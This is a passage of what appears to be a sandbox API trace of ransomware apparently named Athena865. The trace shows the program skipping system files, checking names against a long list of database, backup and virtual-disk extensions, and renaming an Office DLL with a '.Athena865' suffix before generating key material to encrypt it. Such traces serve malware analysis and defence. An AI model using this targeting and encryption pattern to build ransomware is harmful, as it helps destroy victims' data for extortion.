FILES.exe") returned 1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2=".") returned 1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="..") returned 1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="windows") returned -1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="bootmgr") returned 1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="temp") returned -1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="pagefile.sys") returned -1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="boot") returned 1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="ids.txt") returned 1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="ntuser.dat") returned 1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="perflogs") returned -1 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="MSBuild") returned 1 [0079.783] lstrlenW (lpString="OARTCONV.DLL") returned 12 [0079.783] lstrcpyW (in: lpString1=0x241e89e, lpString2="OARTCONV.DLL" | out: lpString1="OARTCONV.DLL") returned="OARTCONV.DLL" [0079.783] lstrlenW (lpString="OARTCONV.DLL") returned 12 [0079.783] lstrlenW (lpString="Athena865") returned 9 [0079.783] lstrcmpiW (lpString1="TCONV.DLL", lpString2="Athena865") returned 1 [0079.783] lstrlenW (lpString=".dll") returned 4 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2=".dll") returned 1 [0079.783] lstrlenW (lpString=".lnk") returned 4 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2=".lnk") returned 1 [0079.783] lstrlenW (lpString=".ini") returned 4 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2=".ini") returned 1 [0079.783] lstrlenW (lpString=".sys") returned 4 [0079.783] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2=".sys") returned 1 [0079.783] lstrlenW (lpString="OARTCONV.DLL") returned 12 [0079.783] lstrlenW (lpString="bak") returned 3 [0079.783] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0079.783] lstrlenW (lpString="ba_") returned 3 [0079.783] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0079.783] lstrlenW (lpString="dbb") returned 3 [0079.783] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0079.783] lstrlenW (lpString="vmdk") returned 4 [0079.783] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0079.783] lstrlenW (lpString="rar") returned 3 [0079.783] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0079.784] lstrlenW (lpString="zip") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0079.784] lstrlenW (lpString="tgz") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0079.784] lstrlenW (lpString="vbox") returned 4 [0079.784] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0079.784] lstrlenW (lpString="vdi") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0079.784] lstrlenW (lpString="vhd") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0079.784] lstrlenW (lpString="vhdx") returned 4 [0079.784] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0079.784] lstrlenW (lpString="avhd") returned 4 [0079.784] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0079.784] lstrlenW (lpString="db") returned 2 [0079.784] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0079.784] lstrlenW (lpString="db2") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0079.784] lstrlenW (lpString="db3") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0079.784] lstrlenW (lpString="dbf") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0079.784] lstrlenW (lpString="mdf") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0079.784] lstrlenW (lpString="mdb") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0079.784] lstrlenW (lpString="sql") returned 3 [0079.784] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0079.784] lstrlenW (lpString="sqlite") returned 6 [0079.784] lstrcmpiW (lpString1="NV.DLL", lpString2="sqlite") returned -1 [0079.784] lstrlenW (lpString="sqlite3") returned 7 [0079.784] lstrcmpiW (lpString1="ONV.DLL", lpString2="sqlite3") returned -1 [0079.785] lstrlenW (lpString="sqlitedb") returned 8 [0079.785] lstrcmpiW (lpString1="CONV.DLL", lpString2="sqlitedb") returned -1 [0079.785] lstrlenW (lpString="xml") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0079.785] lstrlenW (lpString="$er") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0079.785] lstrlenW (lpString="4dd") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0079.785] lstrlenW (lpString="4dl") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0079.785] lstrlenW (lpString="^^^") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0079.785] lstrlenW (lpString="abs") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0079.785] lstrlenW (lpString="abx") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0079.785] lstrlenW (lpString="accdb") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0079.785] lstrlenW (lpString="accdc") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0079.785] lstrlenW (lpString="accde") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0079.785] lstrlenW (lpString="accdr") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0079.785] lstrlenW (lpString="accdt") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0079.785] lstrlenW (lpString="accdw") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0079.785] lstrlenW (lpString="accft") returned 5 [0079.785] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0079.785] lstrlenW (lpString="adb") returned 3 [0079.785] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.786] lstrlenW (lpString="adb") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.786] lstrlenW (lpString="ade") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0079.786] lstrlenW (lpString="adf") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0079.786] lstrlenW (lpString="adn") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0079.786] lstrlenW (lpString="adp") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0079.786] lstrlenW (lpString="alf") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0079.786] lstrlenW (lpString="ask") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0079.786] lstrlenW (lpString="btr") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0079.786] lstrlenW (lpString="cat") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0079.786] lstrlenW (lpString="cdb") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0079.786] lstrlenW (lpString="ckp") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0079.786] lstrlenW (lpString="cma") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0079.786] lstrlenW (lpString="cpd") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0079.786] lstrlenW (lpString="dacpac") returned 6 [0079.786] lstrcmpiW (lpString1="NV.DLL", lpString2="dacpac") returned 1 [0079.786] lstrlenW (lpString="dad") returned 3 [0079.786] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0079.786] lstrlenW (lpString="dadiagrams") returned 10 [0079.787] lstrcmpiW (lpString1="RTCONV.DLL", lpString2="dadiagrams") returned 1 [0079.787] lstrlenW (lpString="daschema") returned 8 [0079.787] lstrcmpiW (lpString1="CONV.DLL", lpString2="daschema") returned -1 [0079.787] lstrlenW (lpString="db-journal") returned 10 [0079.787] lstrcmpiW (lpString1="RTCONV.DLL", lpString2="db-journal") returned 1 [0079.787] lstrlenW (lpString="db-shm") returned 6 [0079.787] lstrcmpiW (lpString1="NV.DLL", lpString2="db-shm") returned 1 [0079.787] lstrlenW (lpString="db-wal") returned 6 [0079.787] lstrcmpiW (lpString1="NV.DLL", lpString2="db-wal") returned 1 [0079.787] lstrlenW (lpString="dbc") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0079.787] lstrlenW (lpString="dbs") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0079.787] lstrlenW (lpString="dbt") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0079.787] lstrlenW (lpString="dbv") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0079.787] lstrlenW (lpString="dbx") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0079.787] lstrlenW (lpString="dcb") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0079.787] lstrlenW (lpString="dct") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0079.787] lstrlenW (lpString="dcx") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0079.787] lstrlenW (lpString="ddl") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0079.787] lstrlenW (lpString="dlis") returned 4 [0079.787] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0079.787] lstrlenW (lpString="dp1") returned 3 [0079.787] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0079.787] lstrlenW (lpString="dqy") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0079.788] lstrlenW (lpString="dsk") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0079.788] lstrlenW (lpString="dsn") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0079.788] lstrlenW (lpString="dtsx") returned 4 [0079.788] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0079.788] lstrlenW (lpString="dxl") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0079.788] lstrlenW (lpString="eco") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0079.788] lstrlenW (lpString="ecx") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0079.788] lstrlenW (lpString="edb") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0079.788] lstrlenW (lpString="epim") returned 4 [0079.788] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0079.788] lstrlenW (lpString="fcd") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0079.788] lstrlenW (lpString="fdb") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0079.788] lstrlenW (lpString="fic") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0079.788] lstrlenW (lpString="flexolibrary") returned 12 [0079.788] lstrlenW (lpString="fm5") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0079.788] lstrlenW (lpString="fmp") returned 3 [0079.788] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0079.788] lstrlenW (lpString="fmp12") returned 5 [0079.788] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0079.788] lstrlenW (lpString="fmpsl") returned 5 [0079.788] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0079.789] lstrlenW (lpString="fol") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0079.789] lstrlenW (lpString="fp3") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0079.789] lstrlenW (lpString="fp4") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0079.789] lstrlenW (lpString="fp5") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0079.789] lstrlenW (lpString="fp7") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0079.789] lstrlenW (lpString="fpt") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0079.789] lstrlenW (lpString="frm") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0079.789] lstrlenW (lpString="gdb") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.789] lstrlenW (lpString="gdb") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.789] lstrlenW (lpString="grdb") returned 4 [0079.789] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0079.789] lstrlenW (lpString="gwi") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0079.789] lstrlenW (lpString="hdb") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0079.789] lstrlenW (lpString="his") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0079.789] lstrlenW (lpString="ib") returned 2 [0079.789] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0079.789] lstrlenW (lpString="idb") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0079.789] lstrlenW (lpString="ihx") returned 3 [0079.789] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0079.790] lstrlenW (lpString="itdb") returned 4 [0079.790] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0079.790] lstrlenW (lpString="itw") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0079.790] lstrlenW (lpString="jet") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0079.790] lstrlenW (lpString="jtx") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0079.790] lstrlenW (lpString="kdb") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0079.790] lstrlenW (lpString="kexi") returned 4 [0079.790] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0079.790] lstrlenW (lpString="kexic") returned 5 [0079.790] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0079.790] lstrlenW (lpString="kexis") returned 5 [0079.790] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0079.790] lstrlenW (lpString="lgc") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0079.790] lstrlenW (lpString="lwx") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0079.790] lstrlenW (lpString="maf") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0079.790] lstrlenW (lpString="maq") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0079.790] lstrlenW (lpString="mar") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0079.790] lstrlenW (lpString="marshal") returned 7 [0079.790] lstrcmpiW (lpString1="ONV.DLL", lpString2="marshal") returned 1 [0079.790] lstrlenW (lpString="mas") returned 3 [0079.790] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0079.790] lstrlenW (lpString="mav") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0079.791] lstrlenW (lpString="maw") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0079.791] lstrlenW (lpString="mdbhtml") returned 7 [0079.791] lstrcmpiW (lpString1="ONV.DLL", lpString2="mdbhtml") returned 1 [0079.791] lstrlenW (lpString="mdn") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0079.791] lstrlenW (lpString="mdt") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0079.791] lstrlenW (lpString="mfd") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0079.791] lstrlenW (lpString="mpd") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0079.791] lstrlenW (lpString="mrg") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0079.791] lstrlenW (lpString="mud") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0079.791] lstrlenW (lpString="mwb") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0079.791] lstrlenW (lpString="myd") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0079.791] lstrlenW (lpString="ndf") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0079.791] lstrlenW (lpString="nnt") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0079.791] lstrlenW (lpString="nrmlib") returned 6 [0079.791] lstrcmpiW (lpString1="NV.DLL", lpString2="nrmlib") returned 1 [0079.791] lstrlenW (lpString="ns2") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0079.791] lstrlenW (lpString="ns3") returned 3 [0079.791] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0079.791] lstrlenW (lpString="ns4") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0079.792] lstrlenW (lpString="nsf") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0079.792] lstrlenW (lpString="nv") returned 2 [0079.792] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0079.792] lstrlenW (lpString="nv2") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0079.792] lstrlenW (lpString="nwdb") returned 4 [0079.792] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0079.792] lstrlenW (lpString="nyf") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0079.792] lstrlenW (lpString="odb") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.792] lstrlenW (lpString="odb") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.792] lstrlenW (lpString="oqy") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0079.792] lstrlenW (lpString="ora") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0079.792] lstrlenW (lpString="orx") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0079.792] lstrlenW (lpString="owc") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0079.792] lstrlenW (lpString="p96") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0079.792] lstrlenW (lpString="p97") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0079.792] lstrlenW (lpString="pan") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0079.792] lstrlenW (lpString="pdb") returned 3 [0079.792] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0079.792] lstrlenW (lpString="pdm") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0079.793] lstrlenW (lpString="pnz") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0079.793] lstrlenW (lpString="qry") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0079.793] lstrlenW (lpString="qvd") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0079.793] lstrlenW (lpString="rbf") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0079.793] lstrlenW (lpString="rctd") returned 4 [0079.793] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0079.793] lstrlenW (lpString="rod") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0079.793] lstrlenW (lpString="rodx") returned 4 [0079.793] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0079.793] lstrlenW (lpString="rpd") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0079.793] lstrlenW (lpString="rsd") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0079.793] lstrlenW (lpString="sas7bdat") returned 8 [0079.793] lstrcmpiW (lpString1="CONV.DLL", lpString2="sas7bdat") returned -1 [0079.793] lstrlenW (lpString="sbf") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0079.793] lstrlenW (lpString="scx") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0079.793] lstrlenW (lpString="sdb") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0079.793] lstrlenW (lpString="sdc") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0079.793] lstrlenW (lpString="sdf") returned 3 [0079.793] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0079.793] lstrlenW (lpString="sis") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0079.794] lstrlenW (lpString="spq") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0079.794] lstrlenW (lpString="te") returned 2 [0079.794] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0079.794] lstrlenW (lpString="teacher") returned 7 [0079.794] lstrcmpiW (lpString1="ONV.DLL", lpString2="teacher") returned -1 [0079.794] lstrlenW (lpString="tmd") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0079.794] lstrlenW (lpString="tps") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0079.794] lstrlenW (lpString="trc") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.794] lstrlenW (lpString="trc") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.794] lstrlenW (lpString="trm") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0079.794] lstrlenW (lpString="udb") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0079.794] lstrlenW (lpString="udl") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0079.794] lstrlenW (lpString="usr") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0079.794] lstrlenW (lpString="v12") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0079.794] lstrlenW (lpString="vis") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0079.794] lstrlenW (lpString="vpd") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0079.794] lstrlenW (lpString="vvv") returned 3 [0079.794] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0079.795] lstrlenW (lpString="wdb") returned 3 [0079.795] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0079.795] lstrlenW (lpString="wmdb") returned 4 [0079.795] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0079.795] lstrlenW (lpString="wrk") returned 3 [0079.795] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0079.795] lstrlenW (lpString="xdb") returned 3 [0079.795] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0079.795] lstrlenW (lpString="xld") returned 3 [0079.795] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0079.795] lstrlenW (lpString="xmlff") returned 5 [0079.795] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0079.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.Athena865") returned 65 [0079.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll.athena865"), dwFlags=0x1) returned 1 [0079.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.797] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19196280) returned 1 [0079.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.797] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.798] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.798] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.798] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x124ec80, lpName=0x0) returned 0x17c [0079.799] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1200000, dwNumberOfBytesToMap=0x4ec80) returned 0x2d50000 [0079.811] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0079.895] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0079.920] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.921] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.921] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 